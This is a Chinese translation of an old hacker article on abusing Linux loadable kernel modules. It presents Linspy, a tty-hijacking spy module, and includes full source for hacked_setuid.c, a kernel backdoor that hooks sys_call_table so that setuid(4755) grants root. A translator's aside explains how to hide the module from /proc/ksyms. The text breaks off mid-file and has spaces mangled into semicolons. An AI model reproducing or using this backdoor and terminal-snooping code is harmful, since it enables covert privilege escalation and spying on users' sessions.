class="152930">
簡介
------------
加載模塊是linux中非常有用而又很重要的一項技術,;因為它可以使你在你需要的
時候加載設備的驅動程序。;然而,;也有它壞的一面:;它使內核hacking非常容易。
當你再也無法信任你的kernel的時候會發生些什麼呢...?這篇文章的目的就是以簡單的
思路來介紹內核模塊的利用。
系統調用
------------
系統調用,是一些可以被利用的底層函數,;他們在核心內部執行。在本文中,;它被利
用來讓我們寫一個非常簡單的tty;截獲/監控。所有的代碼均在linux系統上面編寫並測
試通過,並且不可以被編譯運行倒其他系統上。好!讓我們開始hacking;kernel!
TTY;截獲,;就象tap和ttywatcher等程序是在Solaris,SunOS等其他帶STREAMS系統中
很常見,;但是迄今為止在linux平台上就沒有這麼有用的tty;hijacker(注:;我不考慮那種
基於pty的代碼就象telnetsnoop程序那樣的截獲,;也不十分有用,因為你必須盡早准備監控
系統用戶).
因為現在的linux系統普遍缺乏STREAMS;(LinSTREAMS似乎就要消失了),所以我們必須
選擇一個方法來監控流(stream)。屏蔽擊鍵的問題已經解決,因為我們可以利用TIOCSTI
這個ioctl調用宏來阻塞擊鍵到標准輸入流。;一個解決方案,;當然,;就是改變write(2)系
統調用到我們的代碼,代碼的作用是假如指向我們想要的tty就紀錄下來;;我們可以在後面調用
真實的write(2)系統調用。
很明顯,;一個設備驅動會很好地工作。我們可以通過讀這個設備來獲得已經被紀錄的數據,
並且增加一個或兩個ioctl來告訴我們的代碼確定我們想紀錄的那個tty。
改變系統調用
---------------------------
系統調用可以非常簡單的就可以被改變成我自己的代碼了。它的工作原理有點象dos系統
裡的終端機制以及常駐代碼。我們把原來的地址保存到一個變量,;然後設一個新的指針指向
我們的代碼。在我們的代碼裡,;我們可以做一切事情,;當我們結束之後再調用原來的代碼。
(譯者注:這裡是簡單介紹了lkm的原理,但太過於簡單了。)
一個非常簡單的例程就包含在hacked_setuid.c這個文件中,;是一個你可以安裝的可加載
模塊,並且當它被加載到內核運行時,;一個setuid(4755)將會設置你的uid/euid/gid/egid為0。
(參看附錄裡面提供的全部代碼。)syscalls的地址信息都包含在sys_call_table這個數組裡。
這就使我們改變syscalls指向我們自己的代碼變的非常簡單了。當我們這樣做後,很多事情
都變得很簡單了...
Linspy的注意事項
--------------------
這個模塊是非常容易被發現的,;所有你所做的都會通過cat;/proc/modules來顯示的很明
白。但這個問題很好解決,但我這裡沒有給出解決方法。(譯者注:其實隱藏模塊自身非常好
實現,把register_symtab(NULL)插入到init_module()函數塊中即可限制符號輸出於/proc/ksyms。);
用linspy的時候,;你需要創建一個ltap的設備,;主設備號設為40,次設備號為0。好,在這
之後,;運行make程序來insmod;linspy這個設備。當它被加載後,;你可以這樣運行:ltread;[tty],
假如模塊運行的很好,;你可以發現已經把用戶屏幕屏蔽輸出了。
源代碼;[use;the;included;extract.c;utility;to;unarchive;the;code]
---------------------------------------------------------------------
<++>;linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS;=;-m486;-O6;-pipe;-fomit-frame-pointer;-Wall;$(CONFIG_KERNELD)
CC=gcc
#;this;is;the;name;of;the;device;you;have;(or;will);made;with;mknod
DN;=;‘-DDEVICE_NAME="/dev/ltap"‘
#;1.2.x;need;this;to;compile,;comment;out;on;1.3+;kernels
V;=;#-DNEED_VERSION
MODCFLAGS;:=;$(V);$(CFLAGS);-DMODULE;-D__KERNEL__;-DLINUX
all:;linspy;ltread;setuid
linspy:;linspy.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;linspy.c
ltread:;
$(CC);$(DN);-o;ltread;ltread.c
clean:;
rm;*.o;ltread
setuid:;hacked_setuid.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;hacked_setuid.c
<-->;end;Makefile
<++>;linspy/hacked_setuid.c
int;errno;
#include;<linux/sched.h>
#include;<linux/mm.h>
#include;<linux/malloc.h>
#include;<linux/errno.h>
#include;<linux/sched.h>
#include;<linux/kernel.h>
#include;<linux/times.h>
#include;<linux/utsname.h>
#include;<linux/param.h>
#include;<linux/resource.h>
#include;<linux/signal.h>
#include;<linux/string.h>
#include;<linux/ptrace.h>
#include;<linux/stat.h>
#include;<linux/mman.h>
#include;<linux/mm.h>
#include;<asm/segment.h>
#include;<asm/io.h>
#include;<linux/module.h>
#include;<linux/version.h>
#include;<errno.h>
#include;<linux/unistd.h>
#include;<string.h>
#include;<asm/string.h>
#include;<sys/syscall.h>
#include;<sys/types.h>
#include;<sys/sysmacros.h>
#ifdef;NEED_VERSION
static;char;kernel_version[];=;UTS_RELEASE;
#endif
static;inline;_syscall1(int,;setuid,;uid_t,;uid);/*用_syscall這個系統調用宏來構建setuid調用*/
extern;void;*sys_call_table[];/*調出系統調用表*/
void;*original_setuid;;/*原來的setuid*/
extern;int;hacked_setuid(uid_t;uid)/*我們要替換的setuid*/
{
int;i
if(uid;==;4755)
{
current->uid;=;current->euid;=;current->gid;=;current->egid;=;0;
/*使當前進程的uid,euid,gid,egid為零*/
return;0;
}
sys_call_table[SYS_setuid];=;original_setuid;/*保存原調用*/
i;=;setuid(uid);
sys_call_table[SYS_setuid];=;hacked_setuid;/*替換調用!*/
if(i;==;-1);return;-errno;
else;return;i;
}
int;init_module(void);/*加載*/
{
original_setuid;=;sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid];=;hacked_setuid;
return;0;
}
void;cleanup_module(void);/*卸載*/
{
sys_call_table[SYS_setuid];=;original_setuid;
};
<++>;linspy/linspy.c
int;errno;
#include;<linux/tty.h>
#include;<linux/sched.h>
#include;<linux/mm.h>
#include;<linux/malloc.h>
#include;<linux/errno.h>
#include;<linux/sched.h>
#include;<linux/kernel.h>
#include;<linux/times.h>
#include;<linux/utsname.h>
#include;<linux/param.h>
#include;<linux/resource.h>
#include;<linux/signal.h>
#include;<linux/string.h>
#include;<linux/ptrace.h>
#include;<linux/stat.h>
#include;<linux/mman.h>
#include;<linux/mm.h>
#include;<asm/segment.h>
#include;<asm/io.h>
#ifdef;MODULE
#include;<linux/module.h>
#include;<linux/version.h>
#endif
#include;<errno.h>
#include;<asm/segment.h>
#include;<linux/unistd.h>
#include;<string.h>
#include;<asm/string.h>
#include;<sys/syscall.h>
#include;<sys/types.h>
#include;<sys/sysmacros.h>
#include;<linux/vt.h>